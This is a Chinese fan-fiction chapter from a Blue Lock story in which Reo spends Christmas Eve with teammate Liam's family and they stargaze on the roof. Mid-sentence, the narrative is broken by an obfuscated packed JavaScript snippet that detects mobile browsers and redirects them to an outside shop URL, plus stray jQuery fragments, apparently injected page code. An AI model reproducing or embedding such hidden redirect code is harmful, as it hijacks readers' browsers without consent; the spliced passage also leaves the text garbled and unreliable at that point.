37.圣诞夜
作品:《【蓝锁】出走王子后日谈》 玲王早已搬离医疗中心的临时单间,他膝盖的恢复进展顺利,已经可以脱拐行走。圣诞节前夜的科尔尼训练基地几乎空了,此刻颇冷清。球员们大多回家团聚,只剩下零星的灯光和巡逻的安保人员的电筒光刺破沉沉雪夜。
他原本计划用这个安静的夜晚复盘几场录像,说实话,作为一个亚洲人,圣诞节对他而言并不意义重大。然而计划被一阵粗暴的敲门声打断,好吧,又来这一套!
利亚姆·弗林像一颗裹着风雪和节日彩纸的红色炮弹那样撞了进来,姜黄色的卷发上沾着未化的雪粒子,睫毛刷也挂着霜。他的手里还拎着一个印着驯鹿图案的帆布包,鼓鼓囊囊。
“打包!快!十分钟后我老爸的车就到门口!”他嚷嚷着,不由分说就开始从玲王的储物柜里翻东西出来塞进包裹。其实也没什么东西可塞,主要是几件换洗衣物和必需的理疗用品。
“天啊!利亚姆,我不……”
“没有‘不’!”利亚姆转身,双手叉腰,“妈妈说了,绝不能让你一个人在这冷冰冰的地方过圣诞。还有老爸、姐姐们和小恶魔艾米丽全都投了赞成票。四比一,你输了!”
“你还真是会让我措手不及!”
利亚姆却突然凑近,有些羞赧:“而且我跟老爸吹牛说我有个超级厉害超级聪明的室友,足球踢得棒而且无所不能,他们都很想见见你。拜托了,Reo!”
“哼哼。”玲王立刻得意起来,把侧边刘海撩到耳后,“你的评价倒是很中肯。”
“走嘛!”
弗林家在一个明显带着岁月痕迹的联排住宅区,典型的北伦敦建筑。街道狭窄,路边停满了车,家家户户窗内都闪烁着彩灯,门前挂着冬青花环。玲王能嗅到木柴燃烧的淡淡烟味,听见不知哪一户窗子里飞出来隐约的圣诞颂歌。
还没进门,喧闹声就扑面而来。天啊,一个弗林尚且如此,一群弗林——岂不是要了人命吗?利亚姆刚推开那扇漆成墨绿色的门,混合着烤火鸡和柑橘味家具抛光剂的热浪便裹挟着声浪涌出,玲王转头看向利亚姆,真的进去吗?
“他来了!妈妈!我把Reo带回来了!”利亚姆大喊着,一边帮玲王拍掉肩上的雪。
门厅很小,挤满了外套和靴子。一个围着“Kiss the Cook”围裙,头发与利亚姆同色系的妇人从厨房探出头。她脸色红润,笑容温暖得像刚出炉的面包:“噢!欢迎欢迎,亲爱的!快进来,别在门口冻着!我是苏珊,这疯小子的妈妈!”
“Reo,Mikage Reo,非常感谢您的邀请,弗林太太。”玲王用他最得体的礼仪微微欠身,有点懊恼没来得及准备礼物。苏珊顺势轻轻抱了他一下,身上带着肉桂和黄油的美好气味。
玲王被利亚姆兴奋地拉着,见识了弗林家的全貌。客厅不算大,被一棵装饰得有些过于繁复,几乎顶到天花板的圣诞树占据了一角,树下堆着花花绿绿的礼物。电视里播放着老电影,沙发上、地毯上散落着家人。
弗林们都对玲王投来好奇而友善的目光。
两个年轻女孩正边笑边争论着什么,还有一个大约五六岁的扎着歪马尾的小女孩,正试图把包装纸粘在家里的拉布拉多犬身上。利亚姆说那是他的小恶魔妹妹艾米莉,下一秒妹妹眼睛睁得好大,脆声问:“Reo,你真的认识漩涡鸣人吗?”
“抱歉,我和他不是很熟。”玲王笑着摸摸她的头,“不过我的国家队队友或许认识?毕竟他也是个忍者。”
“所以,你就是利亚姆整天挂在嘴边的Reo?”刚铲完雪的弗林先生握手有力,笑容爽朗,“这小子休假时在家里念叨你的次数比他念叨足球还多。训练怎么样,比赛怎么样……他在家里没有兄弟,你们能做朋友真是再好不过了。”
玲王有些愕然,看向利亚姆。对方挠着头嘟囔:“我倒也没有天天念叨啦。”
晚餐漫长嘈杂,充满笑声。长桌挤在客厅与厨房的衔接处,每个人都在传递盘子,大声交谈。火鸡、烤土豆、布丁……分量实在大得惊人。御影玲王是个多会讨人喜欢的孩子,自有一套拉近距离的招数,而此刻全无用武之地。这家人天然对他有好感。
食物很美味,交谈很愉快,就连那只拉布拉多犬把脑袋搁在他没受伤的膝盖边时他也没有推开。
夜深了,姐姐们上楼休息,艾米莉在沙发上睡着,被妈妈抱回房间。弗林先生在厨房收拾残局,哼着歌。客厅里只剩下圣诞树闪烁的彩灯,以及并排坐在柔软旧地毯上的玲王和利亚姆。
“怎么样?”利亚姆小声问,递给他一罐冰啤酒,“是不是吵得你头痛了?”
玲王看着壁炉跳动的火焰,壁炉里的木柴发出噼啪声,他轻声说:“很热闹嘛。”
“我就说嘛!比一个人待着强多了!”利亚姆得意地笑了,然后顿了顿,“那个……老爸他说的话,你别在意。他就是太夸张了!嗯!”
其实你不提的话我已经忘记了,玲王腹诽。“不过他说的是真的吗?原来你很想有一个兄弟啊,我完全不知道。”
“我家里没有其他男孩陪我玩了!”利亚姆的脸在炉火映照下有点红,他喝了一大口啤酒,望着天花板:“反正,我觉得你比我那些表哥表弟酷多了。而且你从来不会真的嫌我烦。”
玲王很少喝这种普通的工业啤酒,但此刻在温暖的炉火旁,在圣诞树闪烁的微光下,又觉得似乎也没什么不好。“嫌烦还是嫌的。你半夜看球赛大呼小叫,拼乐高不看图纸,袜子总丢一只……都很烦人。”
利亚姆立刻垮下脸:“喂!”
玲王转过头:“我没有兄弟姐妹。”
他的语气太过平静,反而让利亚姆心里有点不是滋味。他想起自己小时候和姐姐们为了遥控器大打出手,为了最后一块披萨斗智斗勇,那些鸡飞狗跳的日常对御影玲王来说竟是完全陌生的体验。
“所以你那同情的眼神是怎么回事?”玲王疑惑,“每天在家里被佣人围绕着,出门后又到处都是保镖。最新款的游戏机,绝版的模型,想要什么都能立刻得到的话,难道不无聊吗?”
“你……”利亚姆憋了半天,终于憋出一句,“你这个该死的,幸运的,万恶的有钱人!”
“但是我从来没有像今天这样的经历,坦白来说,真的很神奇,谢谢你们的款待。”玲王举起自己的啤酒罐示意了一下,“所以抵消了。”
利亚姆盯着他看了几秒,然后噗嗤一声笑了出来。他也举起自己的罐子和玲王的虚碰了一下。
“好吧!”利亚姆装模作样地叹了口气,“看在你这么可怜的分上,兄弟我就勉强继续收留你,用我平凡的吵闹和混乱来拯救你过于有序的人生吧!”
“那还真是感激不尽了?”玲王挑眉。
利亚姆呆了一下,随即,一个仿佛能驱散所有冬夜寒意的笑容在他脸上绽开。他拿起啤酒罐猛灌了一大口,然后长长地舒了口气,整个人向后倒在柔软的地毯上,望着天花板上被彩灯映出的变幻的光斑。
玲王应了一声,也学着利亚姆的样子,慢慢向后靠去,让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895996|191326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己更深地陷进柔软的地毯和温暖的氛围里。受伤的左腿小心地伸直,膝盖处仍有隐约的酸胀感,这让他放松的心情再次绷紧,把那罐只喝了一口的啤酒放在一旁。
“喂,Reo!”利亚姆突然开口,“想不想看看我的秘密基地?”
“如果有老鼠的话,我不去。” 他想象着某个堆满旧球衣和零食包装的壁橱。
利亚姆竖起食指抵在唇边,做了个夸张的噤声动作。他动作轻巧地爬起来,示意玲王跟上。两人像做贼一样,踮着脚穿过安静黑暗的客厅,绕过厨房,悄悄爬上通往二楼的楼梯。木质楼梯在脚下发出极其轻微的吱呀声,每一次声响都让利亚姆紧张地缩缩脖子,回头对玲王做鬼脸。
到了二楼走廊,利亚姆走向一扇不起眼的小门。那是通往阁楼的入口。他熟练地拉下折叠楼梯,两人都屏住呼吸听了一会儿,确认没有惊动任何人。
阁楼比想象中宽敞,他带着玲王灵活地在杂物间穿行,走到阁楼另一端一扇低矮的像是通风窗的小门前。他熟练地拨开一个旧箱子,露出后面的门闩。
“准备好了吗?”利亚姆回头,眼睛亮晶晶的。
砰!他推开门——
冷冽而清新的空气瞬间涌入。门外是一个铺着瓦片的屋顶平台,被房屋的主结构遮挡着,从下面街道完全看不见。平台不大,但足够两三个人坐下。
伦敦冬夜的天空并非总是阴云密布。今夜的云层散去大半,露出深邃的墨蓝色天幕,上面洒满了碎钻般闪烁的星辰。没有城市中心光污染的干扰,一切如此真切。远处其他房屋的轮廓在夜色中起伏,零星几家窗户还亮着温暖的黄光,更远处是城市天际线模糊的光晕。
“哇哦。”玲王忍不住轻声感叹。这景象与他习惯的从高层公寓俯瞰的城市夜景截然不同。好像伸手就能被星星刺伤。
利亚姆得意地笑了,他率先走出去,在冰冷的瓦片上坐下后拍了拍身边的位置,玲王紧挨着他坐下,“小心点,有点滑。这里超棒,我小时候心情不好,或者想一个人待着的时候就躲到这里。”
“看那边,”利亚姆忽然指向东方天空几颗明亮的星星,“那是猎户座,很容易认,那三颗排成一条线的就是他的腰带。”
“那边是北斗七星,找到它,就能找到北极星……”
“那个……嗯。”利亚姆的手指还悬在夜空中,指尖虚点着两颗挨得极近的星。话已出口才觉出几分仓促的窘迫,他对自己贫瘠的天文知识感到懊恼,只好硬着头皮补上一句:“那两颗,靠得那么紧的,大概是所谓双子星吧。”
御影玲王的眼睛比星星黯淡。他过了好一会儿才几不可闻地吸了口气,那气息在冷空气中凝成极淡的白雾,又迅速散进夜色里。
哦,是了。利亚姆之前一直不敢问他之前有没有其他搭档,那是个什么样的人,又有多么精彩惊艳的故事。他也永远不会问,尽管他的话从来是如此之多。
“双子星是祝福。”他说,“所以我们会永远一起踢球的,搭档。”
不,不,不。无论谁都不要讲那种话。
双子星从来不是什么祝福吧?双子星想必是诅咒吧!不止我和他,不止他和他,不止谁和谁,不止我和你……我们听过的悲剧还不够多吗,我们见过的悲剧还不够多吗,卡在夜空中的那一颗球——它目送过的流星还不够多吗?
星子们忽暗忽明。一场此消彼长的角力,如同霉斑般在天鹅绒帐子上蔓延。
人是不可以在离天空太近的地方讲那种话的。

